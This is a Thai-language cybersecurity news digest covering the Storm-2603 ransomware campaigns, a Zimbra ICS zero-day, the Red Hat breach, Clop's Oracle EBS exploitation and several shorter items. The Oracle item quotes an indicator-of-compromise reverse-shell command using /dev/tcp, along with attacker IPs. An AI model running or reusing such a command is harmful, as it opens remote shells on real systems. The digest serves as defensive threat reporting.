กลุ่มผู้โจมตีได้เริ่มใช้เครื่องมือ Velociraptor ซึ่งเป็นเครื่องมือด้าน digital forensics และ incident response (DFIR) ในการโจมตีเพื่อแพร่กระจายแรนซัมแวร์ LockBit และ Babuk

นักวิจัยจาก Cisco Talos ได้ประเมินด้วยความเชื่อมั่นระดับปานกลางว่า ผู้โจมตีที่อยู่เบื้องหลังแคมเปญเหล่านี้คือกลุ่มผู้ไม่หวังดีที่อยู่ในประเทศจีน และถูกติดตามภายใต้ชื่อ Storm-2603

Velociraptor เป็นเครื่องมือ DFIR แบบ open-source ที่พัฒนาโดย Mike Cohen ปัจจุบันโครงการนี้ถูกซื้อกิจการไปโดยบริษัท Rapid7 ซึ่งได้ให้บริการเวอร์ชันที่มีการปรับปรุงแล้วแก่ลูกค้า

Sophos รายงานเมื่อวันที่ 26 สิงหาคมว่า แฮ็กเกอร์ได้ใช้เครื่องมือ Velociraptor ในการเข้าถึงจากระยะไกล โดยเฉพาะ กลุ่มผู้ไม่หวังดีได้ใช้มันเพื่อดาวน์โหลด และรันโปรแกรม Visual Studio Code บนเครื่อง host ที่ถูกโจมตีแล้ว เพื่อสร้างช่องทางการเชื่อมต่ออย่างปลอดภัยกับ C2 servers

ในรายงานที่เผยแพร่เมื่อวันที่ 9 ตุลาคมที่ผ่านมา บริษัท Halcyon ซึ่งเป็นผู้เชี่ยวชาญด้านการป้องกัน ransomware ประเมินว่า กลุ่ม Storm-2603 ซึ่งมีความเชื่อมโยงกับกลุ่มผู้โจมตีที่ได้รับการสนับสนุนจากรัฐบาลจีน โดยเป็นกลุ่มเดียวกับ Warlock ransomware และกลุ่ม CL-CRI-1040 และเคยเป็นพันธมิตรของกลุ่ม LockBit อีกด้วย

การแฝงตัวอยู่ในระบบที่ถูกโจมตี

Cisco Talos ระบุว่า กลุ่มผู้ไม่หวังดีได้ใช้ Velociraptor เวอร์ชันเก่าที่มีช่องโหว่ด้านความปลอดภัยในการยกระดับสิทธิ์ และมีหมายเลข CVE-2025-6264 โดยช่องโหว่ดังกล่าวอาจทำให้ผู้โจมตีสามารถเรียกใช้โค้ดได้ตามที่ต้องการ และเข้าควบคุมเครื่อง host ได้ในที่สุด

ในขั้นตอนแรกของการโจมตี ผู้โจมตีจะสร้างบัญชีผู้ดูแลระบบ (admin) บนเครื่อง โดยจะถูกซิงค์เข้ากับ Entra ID และใช้บัญชีเหล่านั้นเพื่อเข้าถึง VMware vSphere console ทำให้ผู้โจมตีสามารถควบคุม virtual machines (VMs) ได้อย่างต่อเนื่อง

Cisco Talos ระบุว่า "หลังจากเข้าถึงระบบได้แล้ว ผู้โจมตีจะติดตั้ง Velociraptor เวอร์ชันเก่า (เวอร์ชัน 0.73.4.0) ที่มีช่องโหว่ในการยกระดับสิทธิ์ (CVE-2025-6264) ซึ่งอาจนำไปสู่การเรียกใช้โค้ดได้ตามที่ต้องการ และสามารถเข้าควบคุมเครื่อง endpoint ได้"

นักวิจัยระบุว่า Velociraptor ช่วยให้ผู้โจมตีสามารถสร้างช่องทางการเข้าถึงระบบไว้ได้ โดยมีการสั่งรันโปรแกรมหลายครั้ง แม้ว่าเครื่องโฮสต์นั้นจะถูกแยกออกจากเครือข่ายแล้วก็ตาม

นอกจากนี้ นักวิจัยยังตรวจพบการรันคำสั่งในรูปแบบ smbexec ของ Impacket เพื่อสั่งรันโปรแกรมจากระยะไกล และการสร้าง Scheduled Tasks สำหรับไฟล์ Batch Script

ผู้โจมตีได้ปิดการป้องกันแบบ real-time ของ Microsoft Defender ด้วยการแก้ไข Group Policy Objects (GPOs) ใน Active Directory และยังปิดฟังก์ชันการเฝ้าระวังพฤติกรรม และการทำงานของไฟล์ หรือโปรแกรมอีกด้วย

Endpoint detection and response (EDR) ระบุว่า ransomware ที่ถูกปล่อยบนระบบ Windows ของเป้าหมายคือ LockBit แต่นามสกุลของไฟล์ที่ถูกเข้ารหัสกลับเป็น “.xlockxlock” ซึ่งเป็นนามสกุลที่พบในการโจมตีของ Warlock ransomware

บนระบบ VMware ESXi นักวิจัยได้พบไฟล์ไบนารีของ Linux ไฟล์หนึ่ง ที่ถูกตรวจจับว่าเป็น Babuk ransomware

นักวิจัยจาก Cisco Talos ยังตรวจพบอีกว่ามีการใช้สคริปต์ PowerShell เข้ารหัสแบบ fileless ซึ่งจะสร้างคีย์ AES แบบสุ่มขึ้นมาใหม่ทุกครั้งที่ทำงาน และเชื่อว่าเป็นเครื่องมือหลักสำหรับ "การเข้ารหัสข้อมูลจำนวนมากบนเครื่อง Windows"

ก่อนที่จะเข้ารหัสข้อมูล ผู้โจมตีได้ใช้สคริปต์ PowerShell อีกตัวหนึ่งเพื่อขโมยข้อมูลออกไปสำหรับใช้ในการขู่เรียกค่าไถ่ โดยสคริปต์ดังกล่าวใช้คำสั่ง ‘Start-Sleep’ เพื่อหน่วงเวลาระหว่างการอัปโหลดไฟล์ในแต่ละครั้ง เพื่อหลบเลี่ยงการตรวจจับจากสภาพแวดล้อมแบบ Sandbox และระบบการวิเคราะห์ต่าง ๆ

นักวิจัยจาก Cisco Talos ได้เผยแพร่ข้อมูล indicators of compromise (IoCs) ที่ตรวจพบในการโจมตีครั้งนี้ ซึ่งประกอบด้วยไฟล์ที่ผู้ไม่หวังดีอัปโหลดไปยังเครื่องที่ถูกโจมตี และไฟล์ต่าง ๆ ที่เกี่ยวข้องกับ Velociraptor

 

ที่มา : www.

นักวิจัยที่เฝ้าติดตาม .ICS calendar attachments ที่มีขนาดใหญ่ พบว่ามีการใช้ช่องโหว่ Zero-day ใน Zimbra Collaboration Suite (ZCS) เพื่อโจมตีมาตั้งแต่ช่วงต้นปีที่ผ่านมา

ไฟล์ ICS หรือ iCalendar เป็นไฟล์ที่ใช้สำหรับจัดเก็บข้อมูลปฏิทิน และตารางการนัดหมาย (เช่น การประชุม, อีเวนต์ และงานต่าง ๆ) ในรูปแบบ plain text และใช้เพื่อแลกเปลี่ยนข้อมูลดังกล่าวระหว่างแอปพลิเคชันปฏิทินต่าง ๆ

ผู้โจมตีได้ใช้ประโยชน์จากช่องโหว่หมายเลข CVE-2025-27915 ซึ่งเป็นช่องโหว่ประเภท Cross-Site Scripting (XSS) ที่พบใน ZCS เวอร์ชัน 9.0, 10.0 และ 10.1 เพื่อส่ง JavaScript payload ไปยังระบบของเป้าหมาย

ช่องโหว่ดังกล่าวเกิดจากการ sanitization เนื้อหา HTML ในไฟล์ ICS ที่ไม่เพียงพอ ทำให้ผู้โจมตีสามารถเรียกใช้โค้ด JavaScript ใด ๆ ก็ได้ภายใน session ของเหยื่อได้ เช่น การตั้งค่า filters อีเมลให้เปลี่ยนเส้นทางข้อความไปหาผู้โจมตี

ทาง Zimbra ได้แก้ไขช่องโหว่ด้านความปลอดภัยนี้เมื่อวันที่ 27 มกราคม ที่ผ่านมา โดยการออก ZCS เวอร์ชัน 9.0.0 P44, 10.0.13 และ 10.1.5 แต่ในขณะนั้นไม่ได้กล่าวถึงการโจมตีใด ๆ ที่เกิดขึ้นจริง

อย่างไรก็ตาม นักวิจัยจาก StrikeReady ซึ่งเป็นบริษัทผู้พัฒนาแพลตฟอร์มการจัดการภัยคุกคาม และการดำเนินงานด้านความปลอดภัยที่ขับเคลื่อนด้วย AI ได้ค้นพบการโจมตีดังกล่าว หลังจากที่คอยจับตาดูไฟล์ .ICS ที่มีขนาดใหญ่กว่า 10KB และมีโค้ด JavaScript แฝงอยู่ภายใน

ทีมวิจัยสรุปได้ว่า การโจมตีได้เริ่มต้นขึ้นตั้งแต่ช่วงต้นเดือนมกราคมที่ผ่านมา ก่อนที่ทาง Zimbra จะปล่อยแพตช์ออกมาแก้ไขเสียอีก

ผู้โจมตีได้ปลอมตัวเป็น “สำนักงานพิธีการของกองทัพเรือลิเบีย (Libyan Navy’s Office of Protocol)” และได้ส่งอีเมลที่มีมัลแวร์เพื่อโจมตีแบบ zero-day ไปยังองค์กรทางการทหารแห่งหนึ่งของบราซิล

อีเมลอันตรายดังกล่าวแนบไฟล์ ICS ที่มีขนาด 600KB ซึ่งภายในมีไฟล์ JavaScript ที่ถูกซ่อนโค้ดอันตรายด้วยวิธีการเข้ารหัสแบบ Base64

จากการวิเคราะห์ของทีมวิจัย พบว่า payload ถูกออกแบบมาเพื่อขโมยข้อมูลจาก Zimbra Webmail โดยเฉพาะ เช่น ข้อมูล credentials, อีเมล, รายชื่อผู้ติดต่อ และโฟลเดอร์ที่แชร์ร่วมกัน

StrikeReady ระบุว่า โค้ดอันตรายดังกล่าวถูกเขียนให้ทำงานใน asynchronous mode และทำงานผ่านฟังก์ชันที่เรียกว่า Immediately Invoked Function Expressions (IIFEs) ในรูปแบบต่าง ๆ โดยทีมวิจัยพบว่ามันสามารถทำงานได้ดังต่อไปนี้ :

สร้าง fields username/password แบบ hidden
ขโมยข้อมูล credentials จากการล็อกอิน
เฝ้าดูพฤติกรรมการใช้งานของผู้ใช้ (เมาส์ และคีย์บอร์ด) และบังคับออกจากระบบเมื่อไม่มีการใช้งาน เพื่อดักขโมยข้อมูลในการล็อกอินครั้งถัดไป
ใช้ Zimbra SOAP API เพื่อค้นหาโฟลเดอร์ และดึงข้อมูลอีเมล
ส่งเนื้อหาอีเมลไปยังผู้โจมตี (ทำซ้ำทุก ๆ 4 ชั่วโมง)
เพิ่ม filter ชื่อ "Correo" เพื่อส่งต่ออีเมลไปยังอีเมลแอดเดรสของ Proton
รวบรวมข้อมูลการ authentication/backup และแอบส่งออกไป
แอบส่งออกข้อมูลรายชื่อผู้ติดต่อ, รายชื่อกลุ่มผู้รับอีเมล และ shared folders
ตั้งค่าให้หน่วงเวลาก่อนเริ่มทำงาน 60 วินาที
บังคับให้มีการเว้นระยะการทำงาน 3 วัน (จะทำงานอีกครั้งก็ต่อเมื่อผ่านไปแล้วอย่างน้อย 3 วันจากการทำงานครั้งล่าสุด)
ซ่อน user interface (UI) เพื่อไม่ให้ผู้ใช้สังเกตเห็นความผิดปกติ

StrikeReady ยังไม่สามารถระบุแหล่งที่มาของการโจมตีครั้งนี้ได้อย่างแน่ชัดว่าเป็นฝีมือของกลุ่มผู้ไม่หวังดีกลุ่มใด แต่ตั้งข้อสังเกตว่ามีผู้โจมตีเพียงไม่กี่กลุ่มที่มีความสามารถในการค้นพบช่องโหว่ Zero-day ในผลิตภัณฑ์ที่ใช้กันอย่างแพร่หลายได้ พร้อมระบุเพิ่มเติมว่า “กลุ่มที่มีความเชื่อมโยงกับรัสเซียมีความช่ำชองในเรื่องนี้เป็นพิเศษ”

ทีมวิจัยยังระบุว่า กลยุทธ์, เทคนิค และขั้นตอน (TTPs) ที่คล้ายคลึงกันนี้ เคยถูกพบในการโจมตีที่เชื่อว่าเป็นฝีมือของกลุ่ม UNC1151 ซึ่งเป็นกลุ่มผู้ไม่หวังดีที่ Mandiant ระบุว่ามีความเชื่อมโยงกับรัฐบาลเบลารุส

ในรายงานของ StrikeReady ได้มีการเปิดเผยข้อมูล Indicators of Compromise และโค้ด JavaScript เวอร์ชันที่มีการ decode แล้ว ซึ่งเป็นโค้ดที่ใช้ในการโจมตีผ่านไฟล์ calendar .ICS ครั้งนี้

Update วันที่ 6 ตุลาคม 2025 : Zimbra ให้ข้อมูลกับ BleepingComputer โดยระบุว่า จากข้อมูลของทางบริษัท การใช้ช่องโหว่ดังกล่าวในการโจมตียังไม่ปรากฏว่ามีการโจมตีอย่างแพร่หลาย

นอกจากนี้ ทาง Zimbra ยังแนะนำให้ผู้ใช้ปฏิบัติตามขั้นตอนด้านความปลอดภัยดังต่อไปนี้ :

ตรวจสอบ filters อีเมลที่มีอยู่ทั้งหมดว่ามีการเปลี่ยนแปลงโดยไม่ได้รับอนุญาตหรือไม่
ตรวจสอบให้แน่ใจว่าโปรแกรม Zimbra ที่ติดตั้งไว้ ได้รับการอัปเดตเป็นแพตช์ล่าสุดแล้วหรือยัง
ตรวจสอบ message store ว่ามีรายการ .ICS ที่ถูก encode แบบ Base64 หรือไม่ และคอยเฝ้าดู traffic บนเครือข่ายเพื่อหาการเชื่อมต่อที่ผิดปกติ หรือน่าสงสัย

 

ที่มา : bleepingcomputer.

เหตุการณ์ข้อมูลรั่วไหลของ Red Hat ครั้งล่าสุด ได้รับความสนใจในด้านความความปลอดภัยทางไซเบอร์อย่างรวดเร็ว หลังจากกลุ่มที่เรียกตัวเองว่า Crimson Collective ออกมาเปิดเผยข้อมูลโดยอ้างว่า สามารถเข้าถึง private repositories ของ Red Hat ได้ โดยข้อมูลที่ถูกขโมยไปนั้นประกอบด้วยเอกสารสำคัญของลูกค้า รายละเอียดโครงสร้างพื้นฐาน และข้อมูลที่เป็นความลับที่อาจนำไปใช้ประโยชน์ได้

เกิดอะไรขึ้นในเหตุการณ์ข้อมูลรั่วไหลของ Red Hat ?

เมื่อวันที่ 1 ตุลาคม 2025 ช่อง Telegram ที่เชื่อมโยงกับกลุ่ม Crimson Collective ได้แชร์หลักฐานการละเมิดข้อมูลที่เกี่ยวข้องกับ private repositories ของ Red Hat

กลุ่ม Crimson Collective ได้ขโมยข้อมูลออกไปประมาณ 570 GB (แบบ compressed) จาก repositories ของ Red Hat กว่า 28,000 แห่ง รวมถึง Customer Engagement Reports (CER) ซึ่งเป็น consulting documents ที่ทราบกันว่ามีไฟล์ configuration, network architecture รวมถึง authentication tokens

หลักฐานที่กลุ่มนี้แสดงให้เห็น เป็นไดเรกทอรีที่มีโครงสร้างของ repositories ไฟล์ต่าง ๆ เช่น Ansible playbooks, การตั้งค่า VPN, CI/CD pipeline runners, รายการเซิร์ฟเวอร์ และอื่น ๆ โดยพวกเขายังโพสต์ลิงก์ไปยังหน้า Paste[.]to ที่ encrypted ไว้ ซึ่งแสดงรายการโครงสร้างไฟล์ทั้งหมด และ CERs ที่ถูกขโมยมา

เหตุการณ์นี้ทำให้ลูกค้ากว่า 800 รายอาจได้รับผลกระทบตามรายการเอกสาร องค์กรที่ได้รับผลกระทบประกอบด้วยทั้งบริษัทยักษ์ใหญ่อย่าง IBM, Citi, Siemens, Bosch และ Verizon รวมถึงหน่วยงานรัฐบาลสหรัฐฯ เช่น NSA, กระทรวงพลังงาน, NIST และอื่น ๆ

ใครอยู่เบื้องหลังการละเมิด Red Hat?

กลุ่ม Crimson Collective อ้างว่าเป็นผู้ละเมิดข้อมูลของ Red Hat โดย Crimson Collective เป็นกลุ่มที่เคลื่อนไหวอยู่บน Telegram แม้ว่าจะเพิ่งก่อตั้งขึ้นเมื่อวันที่ 24 กันยายน 2025 แต่ช่องของพวกเขาก็มีผู้ติดตามเกือบ 350 คน

การอ้างการโจมตีก่อนหน้านี้โดย Crimson Collective

ในวันเดียวกันกับที่สร้างช่อง Telegram นี้ พวกเขาได้ประกาศการ defacement ของ Nintendo (nintendo.

Oracle ออกคำเตือนเกี่ยวกับช่องโหว่ Zero-day ระดับ critical ในระบบ E-Business Suite ซึ่งมีหมายเลข CVE-2025-61882 โดยช่องโหว่นี้ทำให้ผู้โจมตีสามารถรันโค้ดที่เป็นอันตรายจากระยะไกลได้โดยไม่ต้องผ่านการยืนยันตัวตน และช่องโหว่นี้กำลังถูกนำไปใช้จริงในการโจมตีเพื่อขโมยข้อมูลจากกลุ่ม Clop

ช่องโหว่นี้อยู่ในผลิตภัณฑ์ Oracle Concurrent Processing ของ Oracle E-Business Suite (component: BI Publisher Integration) และมีคะแนน CVSS 9.8 เนื่องจากไม่ต้องผ่านการยืนยันตัวตน และสามารถถูกโจมตีได้ง่าย

ตามที่ Oracle ระบุไว้ในเอกสารคำแนะนำฉบับใหม่ว่า “การแจ้งเตือนด้านความปลอดภัยฉบับนี้มีขึ้นเพื่อจัดการกับช่องโหว่ CVE-2025-61882 ในระบบ Oracle E-Business Suite”

ช่องโหว่นี้สามารถถูกโจมตีจากระยะไกลได้โดยไม่ต้องผ่านการยืนยันตัวตน โดยผู้โจมตีสามารถใช้ประโยชน์จากช่องโหว่นี้ผ่านเครือข่ายได้ โดยไม่จำเป็นต้องมีชื่อผู้ใช้ หรือรหัสผ่าน และหากการโจมตีสำเร็จ อาจส่งผลให้เกิดการรันโค้ดที่เป็นอันตรายจากระยะไกลได้

Oracle ยืนยันว่า ช่องโหว่แบบ zero-day ดังกล่าว ส่งผลกระทบต่อระบบ Oracle E-Business Suite เวอร์ชัน 12.2.3 ถึง 12.2.14 และได้ออกแพตซ์อัปเดตฉุกเฉิน (emergency update) เพื่อแก้ไขช่องโหว่นี้แล้ว

บริษัทระบุว่า ลูกค้าจะต้องติดตั้ง Critical Patch Update ประจำเดือนตุลาคม 2023 ก่อน จึงจะสามารถติดตั้งแพตซ์อัปเดตความปลอดภัยชุดใหม่ได้

เนื่องจากมีการเปิดเผย PoC exploit ออกมาแล้ว และช่องโหว่นี้กำลังถูกใช้ในการโจมตีจริง จึงจำเป็นที่ผู้ดูแลระบบ Oracle จะต้องติดตั้งอัปเดตความปลอดภัยโดยเร็วที่สุด

ช่องโหว่ zero-day ดังกล่าวถูกนำไปใช้ในการโจมตีเพื่อขโมยข้อมูลโดยกลุ่ม Clop

แม้ว่า Oracle จะไม่ได้ระบุอย่างชัดเจนว่าช่องโหว่นี้เป็น zero-day แต่บริษัทได้เปิดเผย Indicators of Compromise (IoCs) ซึ่งสอดคล้องกับโค้ดการโจมตีใน Oracle EBS ที่กลุ่มผู้โจมตีแชร์กันเมื่อไม่นานมานี้บน Telegram

Charles Carmakal ประธานเจ้าหน้าที่ฝ่ายเทคนิค (CTO) ของ Mandiant – Google Cloud ยืนยันว่าช่องโหว่ CVE-2025-61882 และช่องโหว่อื่น ๆ ที่ Oracle แก้ไขไปเมื่อเดือนกรกฎาคมนั้น ถูกกลุ่มแรนซัมแวร์ Clop นำไปใช้โจมตี และขโมยข้อมูลจากเซิร์ฟเวอร์ Oracle E-Business Suite ในเหตุการณ์การขโมยข้อมูลเมื่อเดือนสิงหาคม 2025

Carmakal ระบุผ่าน LinkedIn ว่า “กลุ่ม Clop ได้ใช้ช่องโหว่หลายรายการใน Oracle EBS เพื่อขโมยข้อมูลจำนวนมากจากเหยื่อหลายรายในเดือนสิงหาคม 2025”

Carmakal ระบุเพิ่มเติมว่า มีการใช้ช่องโหว่หลายรายการในการโจมตี รวมถึงช่องโหว่ที่ถูกแพตช์ไปแล้วในการอัปเดตของ Oracle เมื่อเดือนกรกฎาคม 2025 และช่องโหว่ที่เพิ่งถูกแก้ไขไปเมื่อสุดสัปดาห์ที่ผ่านมา (CVE-2025-61882)

ข่าวเกี่ยวกับแคมเปญการโจมตีครั้งล่าสุดของกลุ่ม Clop ถูกเผยแพร่ครั้งแรกเมื่อสัปดาห์ที่แล้ว เมื่อทีม Mandiant และ Google Threat Intelligence Group (GTIG) รายงานว่ากำลังติดตามแคมเปญใหม่ที่มีหลายบริษัทได้รับอีเมลซึ่งอ้างว่ามาจากกลุ่มผู้โจมตี

อีเมลเหล่านั้นระบุว่ากลุ่ม Clop ได้ขโมยข้อมูลจากระบบ Oracle E-Business Suite ของบริษัท และกำลังเรียกค่าไถ่เพื่อไม่ให้ข้อมูลที่ขโมยไปถูกนำออกไปเผยแพร่สู่สาธารณะ

เนื้อหาในอีเมลที่ถูกเรียกค่าไถ่ที่มีการแชร์ให้กับ BleepingComputer ระบุว่า "พวกเรา CL0P team หากคุณยังไม่เคยได้ยินข้อมูลเกี่ยวกับเรา คุณสามารถค้นหาข้อมูลเกี่ยวกับเราได้ทาง Google บนอินเทอร์เน็ต"

“เราเพิ่งโจมตีไปที่ระบบ Oracle E-Business Suite ของคุณได้สำเร็จ และได้ Copy เอกสารจำนวนมากออกมา ตอนนี้ไฟล์ส่วนตัวทั้งหมด และข้อมูลอื่น ๆ ของคุณถูกเก็บอยู่ในระบบของเราแล้ว”

กลุ่ม Clop มีประวัติยาวนานในการใช้ประโยชน์จากช่องโหว่แบบ zero-day ทำการโจมตีเพื่อขโมยข้อมูลครั้งใหญ่หลายครั้งในช่วงหลายปีที่ผ่านมา อาทิเช่น

ปี 2020: ใช้ช่องโหว่แบบ zero-day ในแพลตฟอร์ม Accellion FTA ส่งผลกระทบกับบริษัทเกือบ 100 องค์กร
ปี 2021: ใช้ช่องโหว่แบบ zero-day ในซอฟต์แวร์ SolarWinds Serv-U FTP
ปี 2023: ใช้ช่องโหว่แบบ zero-day ในแพลตฟอร์ม GoAnywhere MFT โจมตีบริษัทมากกว่า 100 องค์กร
ปี 2023: ใช้ช่องโหว่แบบ zero-day ในระบบ MOVEit Transfer ซึ่งถือเป็นแคมเปญที่ใหญ่ที่สุดของกลุ่ม Clop จนถึงปัจจุบัน ทำให้สามารถขโมยข้อมูลจาก 2,773 องค์กรทั่วโลก
ปี 2024: ใช้ช่องโหว่ zero-day จำนวนสองรายการในระบบ Cleo file transfer (CVE-2024-50623 และ CVE-2024-55956) เพื่อขโมยข้อมูล และเรียกค่าไถจากบริษัทต่าง ๆ

ในเวลาต่อมากลุ่ม Clop ได้ยืนยันกับ BleepingComputer ว่า พวกเขาอยู่เบื้องหลังอีเมลเรียกค่าไถ่ และระบุว่าพวกเขาใช้ประโยชน์จากช่องโหว่ Oracle zero-day เพื่อขโมยข้อมูล

อย่างไรก็ตาม ในช่วงแรก Oracle ได้เชื่อมโยงแคมเปญการเรียกค่าไถ่ของกลุ่ม Clop เข้ากับช่องโหว่ที่ถูกแพตช์ไปแล้วในเดือนกรกฎาคม 2025 แทนที่จะเป็นช่องโหว่ zero-day ตัวใหม่ ที่ภายหลังถูกยืนยันว่าเป็นช่องโหว่ที่ใช้ในการโจมตีครั้งนี้

Oracle ได้เปิดเผย IoCs สำหรับการโจมตีจากช่องโหว่ zero-day ซึ่งมี 2 IP addresses ที่พบว่าถูกใช้ในการโจมตีเซิร์ฟเวอร์ และคำสั่งที่ใช้เปิด remote shell รวมไปถึง exploit archive และไฟล์ที่เกี่ยวข้องในการโจมตี ดังนี้

200[.]107[.]207[.]26 - IP address ที่เชื่อมโยงกับการโจมตี (HTTP GET และ POST requests)
185[.]181[.]60[.]11 - IP address ที่เชื่อมโยงกับการโจมตี (HTTP GET และ POST requests)
sh -c /bin/bash -i >& /dev/tcp// 0>&1 - คำสั่งที่เรียกใช้งาน reverse shell
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.

มัลแวร์ Trojan สำหรับขโมยข้อมูลธนาคาร และควบคุมอุปกรณ์จากระยะไกล (RAT) ตัวใหม่บน Android ที่ชื่อ Klopatra ได้ปลอมตัวเป็นแอปพลิเคชัน IPTV และ VPN ส่งผลให้มีอุปกรณ์ติดมัลแวร์ไปแล้วมากกว่า 3,000 เครื่องทั่วยุโรป (more…)

Google ได้เริ่มทยอยเปิดให้ใช้งานฟีเจอร์ความปลอดภัยที่ใช้ AI ตัวใหม่สำหรับ Google Drive เวอร์ชันบน Desktop ซึ่งจะทำการหยุดการซิงค์ไฟล์โดยอัตโนมัติเมื่อตรวจพบการโจมตีจาก Ransomware เพื่อลดผลกระทบให้ได้มากที่สุด (more…)

ชุดเครื่องมือสำหรับการโจมตีแบบฟิชชิง และมัลแวร์ตัวใหม่ที่ชื่อว่า MatrixPDF ช่วยให้ผู้โจมตีสามารถแปลงไฟล์ PDF ทั่วไปให้เป็นเหยื่อล่อแบบ interactive ได้ ซึ่งจะ bypass การรักษาความปลอดภัยของอีเมล และเปลี่ยนเส้นทางของเหยื่อเพื่อขโมยข้อมูล credential หรือการดาวน์โหลดมัลแวร์

เครื่องมือใหม่นี้ถูกพบโดย Daniel Kelley นักวิจัยของ Varonis ซึ่งให้ข้อมูลกับ BleepingComputer ว่า MatrixPDF โดยถูกพบครั้งแรกในฟอรัมของกลุ่มแฮ็กเกอร์ โดยผู้ขายใช้ Telegram เป็นช่องทางเพิ่มเติมในการติดต่อกับผู้ซื้อ โดยโฆษณาเครื่องมือนี้ว่าเป็นเครื่องมือจำลองการโจมตีแบบฟิชชิง และเครื่องมือสำหรับ blackteaming

ข้อความโฆษณาที่แชร์กับ BleepingComputer ระบุว่า MatrixPDF: Document Builder - Advanced PDF Phishing with JavaScript Actions เป็นเครื่องมือสำหรับการสร้างไฟล์ PDF สำหรับจำลองการโจมตีแบบฟิชชิงที่เสมือนจริง ซึ่งถูกปรับแต่งมาสำหรับ black team และการฝึกอบรมสร้างความตระหนักด้านความปลอดภัยไซเบอร์”

“ด้วยการนำเข้าไฟล์ PDF แบบ drag-and-drop การแสดงตัวอย่างแบบเรียลไทม์ และ Security overlays ที่ปรับแต่งได้ MatrixPDF จึงสามารถจำลองสถานการณ์การโจมตีแบบฟิชชิงได้อย่างมืออาชีพ”

“ระบบป้องกันในตัว เช่น การเบลอเนื้อหา, กลไกการเปลี่ยนเส้นทางที่ปลอดภัย, Metadata Encryption, และ Bypass Gmail ช่วยให้มั่นใจในความถูกต้อง และความน่าเชื่อถือในสภาพแวดล้อมการทดสอบ”

เครื่องมือนี้มีระดับราคาที่หลากหลาย ตั้งแต่ 400 ดอลลาร์ต่อเดือน ไปจนถึง 1,500 ดอลลาร์สำหรับทั้งปี

ชุดเครื่องมือฟิชชิง MatrixPDF

รายงานฉบับใหม่จาก Varonis อธิบายว่า เครื่องมือสร้าง MatrixPDF ช่วยให้ผู้โจมตีสามารถอัปโหลดไฟล์ PDF ที่ถูกต้องตามปกติเพื่อใช้เป็นเหยื่อล่อ จากนั้นเพิ่มคุณสมบัติที่เป็นอันตราย เช่น การเบลอเนื้อหา, การแสดงข้อความปลอม "Secure Document" และ Overlays ที่สามารถคลิกได้ ซึ่งจะนำไปสู่ URL payload ภายนอก

MatrixPDF ยังสามารถ embed JavaScript ซึ่งจะ triggered เมื่อผู้ใช้เปิดเอกสาร หรือเมื่อเหยื่อคลิกปุ่ม JavaScript นี้จะพยายามเปิดเว็บไซต์ หรือดำเนินการที่เป็นอันตรายอื่น ๆ

คุณสมบัติการเบลอเนื้อหาช่วยให้ผู้โจมตีสามารถสร้างไฟล์ PDF ที่ดูเหมือนจะมีเนื้อหาที่ได้รับการป้องกัน และถูกเบลอไว้ และมีปุ่ม "Open Secure Document" การคลิกที่เอกสารจะเปิดเว็บไซต์ที่สามารถใช้เพื่อโฮสต์หน้าฟิชชิง หรือเผยแพร่มัลแวร์ได้

การทดสอบโดย Varonis แสดงให้เห็นว่าไฟล์ PDF ที่เป็นอันตรายสามารถถูกส่งไปยังบัญชี Gmail ได้โดย bypass phishing filters ทั้งนี้เป็นเพราะไฟล์ PDF ที่สร้างขึ้นไม่มีไฟล์ไบนารีที่เป็นอันตราย และมีเพียงลิงก์ภายนอกเท่านั้น

นักวิจัยจาก Varonis อธิบายว่า “โปรแกรมตรวจสอบ PDF ของ Gmail ไม่ได้รัน PDF JavaScript แต่จะอนุญาตให้ลิงก์ หรือคำอธิบายประกอบที่สามารถคลิกทำงานได้”

“ดังนั้น PDF ของผู้โจมตีจึงถูกสร้างขึ้นเพื่อให้การกดปุ่มเพียงแค่เปิดเว็บไซต์ภายนอกในเบราว์เซอร์ของผู้ใช้ การออกแบบที่ค่อนข้างฉลาดนี้ สามารถหลีกเลี่ยงระบบความปลอดภัยของ Gmail ได้ การสแกนมัลแวร์ในไฟล์ PDF จะไม่พบสิ่งผิดปกติ และเนื้อหาที่เป็นอันตรายจะถูกดึงมาต่อเมื่อผู้ใช้คลิกเท่านั้น ซึ่งจะทำให้ Gmail เห็นเป็น web request ที่เริ่มต้นโดยผู้ใช้”

การสาธิตอีกอย่างแสดงให้เห็นว่าเพียงแค่เปิด PDF มันก็จะพยายามที่จะเปิดเว็บไซต์ภายนอกแล้ว คุณสมบัตินี้ค่อนข้างจำกัด เนื่องจากโปรแกรม PDF viewers สมัยใหม่จะแจ้งเตือนผู้ใช้ว่า PDF พยายามที่จะเชื่อมต่อกับเว็บไซต์ภายนอก

Varonis เตือนว่า PDF เป็นช่องทางยอดนิยมสำหรับการโจมตีแบบฟิชชิง เพราะเป็นไฟล์ที่ใช้กันทั่วไป และแพลตฟอร์มอีเมลสามารถแสดงผลได้โดยไม่มีการแจ้งเตือน

บริษัทระบุว่า ระบบรักษาความปลอดภัยอีเมลที่ใช้งาน AI ซึ่งสามารถวิเคราะห์โครงสร้าง PDF, ตรวจจับ Overlays ที่เบลอ และข้อความแจ้งเตือนปลอม และตรวจสอบ URL ที่ฝังไว้ใน sandbox สามารถช่วยป้องกันไม่ให้ไฟล์เหล่านี้ไปถึงกล่องจดหมายของเป้าหมายได้

ที่มา : bleepingcomputer

ผู้เชี่ยวชาญแจ้งเตือนว่า พบการสแกนจากที่อยู่ IP ที่น่าสงสัย มุ่งเป้าไปยังพอร์ทัลล็อกอินของ Palo Alto Networks ซึ่งแสดงให้เห็นถึงความพยายามในการหาข้อมูลอย่างชัดเจน (more…)

กลุ่ม ShinyHunters ได้เปิดตัวเว็บไซต์ Salesforce Data Leak เพื่อเรียกค่าไถ่บริษัทที่ได้รับผลกระทบจากการโจมตี Salesforce กว่า 39 ราย โดยเว็บไซต์ดังกล่าวได้เผยแพร่ตัวอย่างข้อมูลที่ขโมยมาจาก Salesforce instances ของเหยื่อ โดยกำหนดเส้นตายจนถึง 10 ตุลาคม 2025 ก่อนที่ข้อมูลจะถูกเปิดเผยออกสู่สาธารณะ (more…)

แฮ็กเกอร์กำลังใช้ประโยชน์จากช่องโหว่ระดับ Critical (CVE-2025-32463) ในแพ็กเกจ sudo ซึ่งทำให้สามารถรันคำสั่งด้วยสิทธิ์ระดับ Root บนระบบปฏิบัติการ Linux ได้

